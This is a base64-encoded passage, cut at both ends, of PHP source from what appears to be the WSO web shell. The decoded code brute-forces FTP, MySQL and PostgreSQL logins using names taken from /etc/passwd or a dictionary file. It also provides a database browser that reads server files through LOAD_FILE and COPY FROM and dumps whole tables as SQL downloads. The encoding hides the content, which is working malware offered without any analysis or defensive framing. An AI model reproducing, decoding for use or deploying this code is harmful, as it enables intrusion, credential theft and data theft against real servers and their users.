CgkJCQkkZnAgPSBAZnRwX2Nvbm5lY3QoJGlwLCAkcG9ydD8kcG9ydDoyMSk7CgkJ
CQlpZighJGZwKSByZXR1cm4gZmFsc2U7CgkJCQkkcmVzID0gQGZ0cF9sb2dpbigk
ZnAsICRsb2dpbiwgJHBhc3MpOwoJCQkJQGZ0cF9jbG9zZSgkZnApOwoJCQkJcmV0
dXJuICRyZXM7CgkJCX0KCQl9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdt
eXNxbCcgKSB7CgkJCWZ1bmN0aW9uIHdzb0JydXRlRm9yY2UoJGlwLCRwb3J0LCRs
b2dpbiwkcGFzcykgewoJCQkJJHJlcyA9IEBteXNxbF9jb25uZWN0KCRpcC4nOicu
JHBvcnQ/JHBvcnQ6MzMwNiwgJGxvZ2luLCAkcGFzcyk7CgkJCQlAbXlzcWxfY2xv
c2UoJHJlcyk7CgkJCQlyZXR1cm4gJHJlczsKCQkJfQoJCX0gZWxzZWlmKCAkX1BP
U1RbJ3Byb3RvJ10gPT0gJ3Bnc3FsJyApIHsKCQkJZnVuY3Rpb24gd3NvQnJ1dGVG
b3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7CgkJCQkkc3RyID0gImhvc3Q9
JyIuJGlwLiInIHBvcnQ9JyIuJHBvcnQuIicgdXNlcj0nIi4kbG9naW4uIicgcGFz
c3dvcmQ9JyIuJHBhc3MuIicgZGJuYW1lPXBvc3RncmVzIjsKCQkJCSRyZXMgPSBA
cGdfY29ubmVjdCgkc3RyKTsKCQkJCUBwZ19jbG9zZSgkcmVzKTsKCQkJCXJldHVy
biAkcmVzOwoJCQl9CgkJfQoJCSRzdWNjZXNzID0gMDsKCQkkYXR0ZW1wdHMgPSAw
OwoJCSRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7CgkJ
aWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgewoJCQkkdGVtcCA9IEBmaWxlKCcvZXRj
L3Bhc3N3ZCcpOwoJCQlpZiggaXNfYXJyYXkoJHRlbXApICkKCQkJCWZvcmVhY2go
JHRlbXAgYXMgJGxpbmUpIHsKCQkJCQkkbGluZSA9IGV4cGxvZGUoIjoiLCAkbGlu
ZSk7CgkJCQkJKyskYXR0ZW1wdHM7CgkJCQkJaWYoIHdzb0JydXRlRm9yY2UoQCRz
ZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7CgkJ
CQkJCSRzdWNjZXNzKys7CgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFy
cygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4n
PGJyPic7CgkJCQkJfQoJCQkJCWlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgewoJCQkJ
CQkkdG1wID0gIiI7CgkJCQkJCWZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRp
Pj0wOyAtLSRpKQoJCQkJCQkJJHRtcCAuPSAkbGluZVswXVskaV07CgkJCQkJCSsr
JGF0dGVtcHRzOwoJCQkJCQlpZiggd3NvQnJ1dGVGb3JjZShAJHNlcnZlclswXSxA
JHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgewoJCQkJCQkJJHN1Y2Nlc3Mr
KzsKCQkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSku
JzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOwoJCQkJCQl9CgkJCQkJfQoJ
CQkJfQoJCX0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsKCQkJJHRlbXAg
PSBAZmlsZSgkX1BPU1RbJ2RpY3QnXSk7CgkJCWlmKCBpc19hcnJheSgkdGVtcCkg
KQoJCQkJZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgewoJCQkJCSRsaW5lID0gdHJp
bSgkbGluZSk7CgkJCQkJKyskYXR0ZW1wdHM7CgkJCQkJaWYoIHdzb0JydXRlRm9y
Y2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGlu
ZSkgKSB7CgkJCQkJCSRzdWNjZXNzKys7CgkJCQkJCWVjaG8gJzxiPicuaHRtbHNw
ZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxj
aGFycygkbGluZSkuJzxicj4nOwoJCQkJCX0KCQkJCX0KCQl9CgkJZWNobyAiPHNw
YW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3Nw
YW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7Cgl9CgllY2hvICc8aDE+QnJ1dGVmb3Jj
ZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjx0YWJsZT48Zm9ybSBtZXRob2Q9cG9z
dD48dHI+PHRkPjxzcGFuPlR5cGU8L3NwYW4+PC90ZD4nCgkJLic8dGQ+PHNlbGVj
dCBuYW1lPXByb3RvPjxvcHRpb24gdmFsdWU9ZnRwPkZUUDwvb3B0aW9uPjxvcHRp
b24gdmFsdWU9bXlzcWw+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPXBnc3Fs
PlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD4n
CgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVj
aWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nCgkJLic8aW5wdXQgdHlwZT1o
aWRkZW4gbmFtZT1hIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydh
J10pLiciPicKCQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFs
dWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2NoYXJzZXQnXSkuJyI+JwoJ
CS4nPHNwYW4+U2VydmVyOnBvcnQ8L3NwYW4+PC90ZD4nCgkJLic8dGQ+PGlucHV0
IHR5cGU9dGV4dCBuYW1lPXNlcnZlciB2YWx1ZT0iMTI3LjAuMC4xIj48L3RkPjwv
dHI+JwoJCS4nPHRyPjx0ZD48c3Bhbj5CcnV0ZSB0eXBlPC9zcGFuPjwvdGQ+JwoJ
CS4nPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9
IjEiIGNoZWNrZWQ+IC9ldGMvcGFzc3dkPC9sYWJlbD48L3RkPjwvdHI+JwoJCS4n
PHRyPjx0ZD48L3RkPjx0ZD48bGFiZWwgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4
Ij48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXJldmVyc2UgdmFsdWU9MSBjaGVj
a2VkPiByZXZlcnNlIChsb2dpbiAtPiBuaWdvbCk8L2xhYmVsPjwvdGQ+PC90cj4n
CgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBu
YW1lPXR5cGUgdmFsdWU9IjIiPiBEaWN0aW9uYXJ5PC9sYWJlbD48L3RkPjwvdHI+
JwoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48dGFibGUgc3R5bGU9InBhZGRpbmctbGVm
dDoxNXB4Ij48dHI+PHRkPjxzcGFuPkxvZ2luPC9zcGFuPjwvdGQ+JwoJCS4nPHRk
PjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2dpbiB2YWx1ZT0icm9vdCI+PC90ZD48
L3RyPicKCQkuJzx0cj48dGQ+PHNwYW4+RGljdGlvbmFyeTwvc3Bhbj48L3RkPicK
CQkuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGljdCB2YWx1ZT0iJy5odG1s
c3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Bhc3N3ZC5kaWMiPjwvdGQ+
PC90cj48L3RhYmxlPicKCQkuJzwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxp
bnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvdGQ+PC90cj48L2Zvcm0+PC90
YWJsZT4nOwoJZWNobyAnPC9kaXY+PGJyPic7Cgl3c29Gb290ZXIoKTsKfQoKZnVu
Y3Rpb24gYWN0aW9uU3FsKCkgewoJY2xhc3MgRGJDbGFzcyB7CgkJdmFyICR0eXBl
OwoJCXZhciAkbGluazsKCQl2YXIgJHJlczsKCQlmdW5jdGlvbiBEYkNsYXNzKCR0
eXBlKQl7CgkJCSR0aGlzLT50eXBlID0gJHR5cGU7CgkJfQoJCWZ1bmN0aW9uIGNv
bm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7CgkJCXN3aXRjaCgk
dGhpcy0+dHlwZSkJewoJCQkJY2FzZSAnbXlzcWwnOgoJCQkJCWlmKCAkdGhpcy0+
bGluayA9IEBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLHRydWUpICkg
cmV0dXJuIHRydWU7CgkJCQkJYnJlYWs7CgkJCQljYXNlICdwZ3NxbCc6CgkJCQkJ
JGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOwoJCQkJCWlmKCEkaG9zdFsxXSkg
JGhvc3RbMV09NTQzMjsKCQkJCQlpZiggJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVj
dCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBh
c3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsKCQkJ
CQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIHNl
bGVjdGRiKCRkYikgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2Ug
J215c3FsJzoKCQkJCQlpZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKXJldHVybiB0
cnVlOwoJCQkJCWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVu
Y3Rpb24gcXVlcnkoJHN0cikgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpIHsKCQkJ
CWNhc2UgJ215c3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9x
dWVyeSgkc3RyKTsKCQkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQly
ZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsK
CQkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9u
IGZldGNoKCkgewoJCQkkcmVzID0gZnVuY19udW1fYXJncygpP2Z1bmNfZ2V0X2Fy
ZygwKTokdGhpcy0+cmVzOwoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNh
c2UgJ215c3FsJzoKCQkJCQlyZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMp
OwoJCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiBAcGdf
ZmV0Y2hfYXNzb2MoJHJlcyk7CgkJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZh
bHNlOwoJCX0KCQlmdW5jdGlvbiBsaXN0RGJzKCkgewoJCQlzd2l0Y2goJHRoaXMt
PnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICAg
ICAgcmV0dXJuICR0aGlzLT5xdWVyeSgiU0hPVyBkYXRhYmFzZXMiKTsKCQkJCWJy
ZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0g
JHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIFdI
RVJFIGRhdGlzdGVtcGxhdGUhPSd0JyIpOwoJCQkJYnJlYWs7CgkJCX0KCQkJcmV0
dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBsaXN0VGFibGVzKCkgewoJCQlzd2l0
Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlyZXR1cm4g
JHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsKCQkJCWJy
ZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0g
JHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9u
X3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlv
bl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7CgkJ
CQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIGVy
cm9yKCkgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3Fs
JzoKCQkJCQlyZXR1cm4gQG15c3FsX2Vycm9yKCk7CgkJCQlicmVhazsKCQkJCWNh
c2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gQHBnX2xhc3RfZXJyb3IoKTsKCQkJCWJy
ZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVuY3Rpb24gc2V0Q2hh
cnNldCgkc3RyKSB7CgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJewoJCQkJY2FzZSAn
bXlzcWwnOgoJCQkJCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfc2V0X2NoYXJz
ZXQnKSkKCQkJCQkJcmV0dXJuIEBteXNxbF9zZXRfY2hhcnNldCgkc3RyLCAkdGhp
cy0+bGluayk7CgkJCQkJZWxzZQoJCQkJCQkkdGhpcy0+cXVlcnkoJ1NFVCBDSEFS
U0VUICcuJHN0cik7CgkJCQkJYnJlYWs7CgkJCQljYXNlICdwZ3NxbCc6CgkJCQkJ
cmV0dXJuIEBwZ19zZXRfY2xpZW50X2VuY29kaW5nKCR0aGlzLT5saW5rLCAkc3Ry
KTsKCQkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0
aW9uIGxvYWRGaWxlKCRzdHIpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJ
CQljYXNlICdteXNxbCc6CgkJCQkJcmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0+
cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkc3RyKS4iJykg
YXMgZmlsZSIpKTsKCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCSR0
aGlzLT5xdWVyeSgiQ1JFQVRFIFRBQkxFIHdzbzIoZmlsZSB0ZXh0KTtDT1BZIHdz
bzIgRlJPTSAnIi5hZGRzbGFzaGVzKCRzdHIpLiInO3NlbGVjdCBmaWxlIGZyb20g
d3NvMjsiKTsKCQkJCQkkcj1hcnJheSgpOwoJCQkJCXdoaWxlKCRpPSR0aGlzLT5m
ZXRjaCgpKQoJCQkJCQkkcltdID0gJGlbJ2ZpbGUnXTsKCQkJCQkkdGhpcy0+cXVl
cnkoJ2Ryb3AgdGFibGUgd3NvMicpOwoJCQkJCXJldHVybiBhcnJheSgnZmlsZSc9
PmltcGxvZGUoIlxuIiwkcikpOwoJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZh
bHNlOwoJCX0KCQlmdW5jdGlvbiBkdW1wKCR0YWJsZSwgJGZwID0gZmFsc2UpIHsK
CQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJ
JHJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxl
LidgJyk7CgkJCQkJJGNyZWF0ZSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOwoJ
CQkJCSRzcWwgPSAkY3JlYXRlWzFdLiI7XG4iOwogICAgICAgICAgICAgICAgICAg
IGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsKCQkJ
CQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJyk7CiAg
ICAgICAgICAgICAgICAgICAgJGkgPSAwOwogICAgICAgICAgICAgICAgICAgICRo
ZWFkID0gdHJ1ZTsKCQkJCQl3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7
CiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnJzsKICAgICAgICAgICAg
ICAgICAgICAgICAgaWYoJGkgJSAxMDAwID09IDApIHsKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICRzcWwgPSAiO1xuXG4iOwogICAgICAgICAgICAgICAgICAgICAgICB9
CgoJCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7CgkJCQkJCWZvcmVhY2goJGl0ZW0g
YXMgJGs9PiR2KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdiA9
PT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVsk
a10gPSAiTlVMTCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYo
aXNfaW50KCR2KSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRl
bVska10gPSAkdjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiJyIuQG15
c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikuIiciOwoJCQkJCQkJJGNvbHVtbnNb
XSA9ICJgIi4kay4iYCI7CgkJCQkJCX0KICAgICAgICAgICAgICAgICAgICAgICAg
aWYoJGhlYWQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0g
J0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1
bW5zKS4iKSBWQUxVRVMgXG5cdCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsK
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gZmFsc2U7CiAgICAg
ICAgICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgJHNxbCAuPSAiXG5cdCwoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7
CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNx
bCk7IGVsc2UgZWNobygkc3FsKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGkr
KzsKCQkJCQl9CiAgICAgICAgICAgICAgICAgICAgaWYoISRoZWFkKQogICAgICAg
ICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICI7XG5cbiIpOyBl
bHNlIGVjaG8oIjtcblxuIik7CgkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoK
CQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOwoJCQkJ
CXdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsKCQkJCQkJJGNvbHVtbnMg
PSBhcnJheSgpOwoJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgewoJCQkJ
CQkJJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsKCQkJCQkJCSRj
b2x1bW5zW10gPSAkazsKCQkJCQkJfQogICAgICAgICAgICAgICAgICAgICAgICAk
c3FsID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAk
Y29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycu
IlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZw
LCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOwoJCQkJCX0KCQkJCWJyZWFrOwoJCQl9
CgkJCXJldHVybiBmYWxzZTsKCQl9Cgl9OwoJJGRiID0gbmV3IERiQ2xhc3MoJF9Q
T1NUWyd0eXBlJ10pOwoJaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgewoJ
CSRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xv
Z2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKTsK
CQkkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7CiAgICAgICAgc3dp
dGNoKCRfUE9TVFsnY2hhcnNldCddKSB7CiAgICAgICAgICAgIGNhc2UgIldpbmRv
d3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOwogICAg
ICAgICAgICBjYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBi
cmVhazsKICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0
KCdrb2k4cicpOyBicmVhazsKICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRi
LT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsKICAgICAgICAgICAgY2FzZSAi
Y3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOwogICAgICAg
IH0KICAgICAgICBpZihlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpIHsKICAgICAgICAg
ICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOwogICAgICAgICAgICBo
ZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1l
PWR1bXAuc3FsIik7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0
ZXh0L3BsYWluIik7CiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBh
cyAkdikKCQkJCSRkYi0+ZHVtcCgkdik7CiAgICAgICAgICAgIGV4aXQ7CiAgICAg
ICAgfSBlbHNlaWYoJGZwID0gQGZvcGVuKCRfUE9TVFsnZmlsZSddLCAndycpKSB7
CiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikKICAgICAg
ICAgICAgICAgICRkYi0+ZHVtcCgkdiwgJGZwKTsKICAgICAgICAgICAgZmNsb3Nl
KCRmcCk7CiAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsncDInXSk7CiAgICAgICAg
fSBlbHNlCiAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5hbGVydCgiRXJyb3IhIENh
blwndCBvcGVuIGZpbGUiKTt3aW5kb3cuaGlzdG9yeS5iYWNrKC0xKTwvc2NyaXB0
PicpOwoJfQoJd3NvSGVhZGVyKCk7CgllY2hvICIKPGgxPlNxbCBicm93c2VyPC9o
MT48ZGl2IGNsYXNzPWNvbnRlbnQ+Cjxmb3JtIG5hbWU9J3NmJyBtZXRob2Q9J3Bv
c3QnIG9uc3VibWl0PSdmcyh0aGlzKTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicg
Y2VsbHNwYWNpbmc9JzAnPjx0cj4KPHRkPlR5cGU8L3RkPjx0ZD5Ib3N0PC90ZD48
dGQ+TG9naW48L3RkPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPkRhdGFiYXNlPC90ZD48
dGQ+PC90ZD48L3RyPjx0cj4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1
ZT1TcWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3F1ZXJ5Jz48
aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMiB2YWx1ZT0nJz48aW5wdXQgdHlwZT1o
aWRkZW4gbmFtZT1jIHZhbHVlPSciLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxT
Wydjd2QnXSkgLiInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFs
dWU9JyIuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0
J106JycpIC4iJz4KPHRkPjxzZWxlY3QgbmFtZT0ndHlwZSc+PG9wdGlvbiB2YWx1
ZT0nbXlzcWwnICI7CiAgICBpZihAJF9QT1NUWyd0eXBlJ109PSdteXNxbCcpZWNo
byAnc2VsZWN0ZWQnOwplY2hvICI+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVl
PSdwZ3NxbCcgIjsKaWYoQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKWVjaG8gJ3Nl
bGVjdGVkJzsKZWNobyAiPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3Rk
Pgo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9ob3N0IHZhbHVlPVwiIi4g
KGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/J2xvY2FsaG9zdCc6aHRtbHNwZWNp
YWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKSAuIlwiPjwvdGQ+Cjx0ZD48aW5w
dXQgdHlwZT10ZXh0IG5hbWU9c3FsX2xvZ2luIHZhbHVlPVwiIi4gKGVtcHR5KCRf
UE9TVFsnc3FsX2xvZ2luJ10pPydyb290JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9T
VFsnc3FsX2xvZ2luJ10pKSAuIlwiPjwvdGQ+Cjx0ZD48aW5wdXQgdHlwZT10ZXh0
IG5hbWU9c3FsX3Bhc3MgdmFsdWU9XCIiLiAoZW1wdHkoJF9QT1NUWydzcWxfcGFz
cyddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3Bhc3MnXSkpIC4i
XCI+PC90ZD48dGQ+IjsKCSR0bXAgPSAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPXNx
bF9iYXNlIHZhbHVlPScnPiI7CglpZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10p
KXsKCQlpZigkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1Rb
J3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jh
c2UnXSkpIHsKCQkJc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7CgkJCQljYXNl
ICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVh
azsKCQkJCWNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJy
ZWFrOwoJCQkJY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicp
OyBicmVhazsKCQkJCWNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29p
OHUnKTsgYnJlYWs7CgkJCQljYXNlICJjcDg2NiI6ICRkYi0+c2V0Q2hhcnNldCgn
Y3A4NjYnKTsgYnJlYWs7CgkJCX0KCQkJJGRiLT5saXN0RGJzKCk7CgkJCWVjaG8g
IjxzZWxlY3QgbmFtZT1zcWxfYmFzZT48b3B0aW9uIHZhbHVlPScnPjwvb3B0aW9u
PiI7CgkJCXdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7CgkJCQlsaXN0KCRr
ZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsKCQkJCWVjaG8gJzxvcHRpb24gdmFs
dWU9IicuJHZhbHVlLiciICcuKCR2YWx1ZT09JF9QT1NUWydzcWxfYmFzZSddPydz
ZWxlY3RlZCc6JycpLic+Jy4kdmFsdWUuJzwvb3B0aW9uPic7CgkJCX0KCQkJZWNo
byAnPC9zZWxlY3Q+JzsKCQl9CgkJZWxzZSBlY2hvICR0bXA7Cgl9ZWxzZQoJCWVj
aG8gJHRtcDsKCWVjaG8gIjwvdGQ+CgkJCQk8dGQ+PGlucHV0IHR5cGU9c3VibWl0
IHZhbHVlPSc+Picgb25jbGljaz0nZnMoZC5zZik7Jz48L3RkPgogICAgICAgICAg
ICAgICAgPHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c3FsX2NvdW50IHZh
bHVlPSdvbiciIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycnOicgY2hl
Y2tlZCcpIC4gIj4gY291bnQgdGhlIG51bWJlciBvZiByb3dzPC90ZD4KCQkJPC90
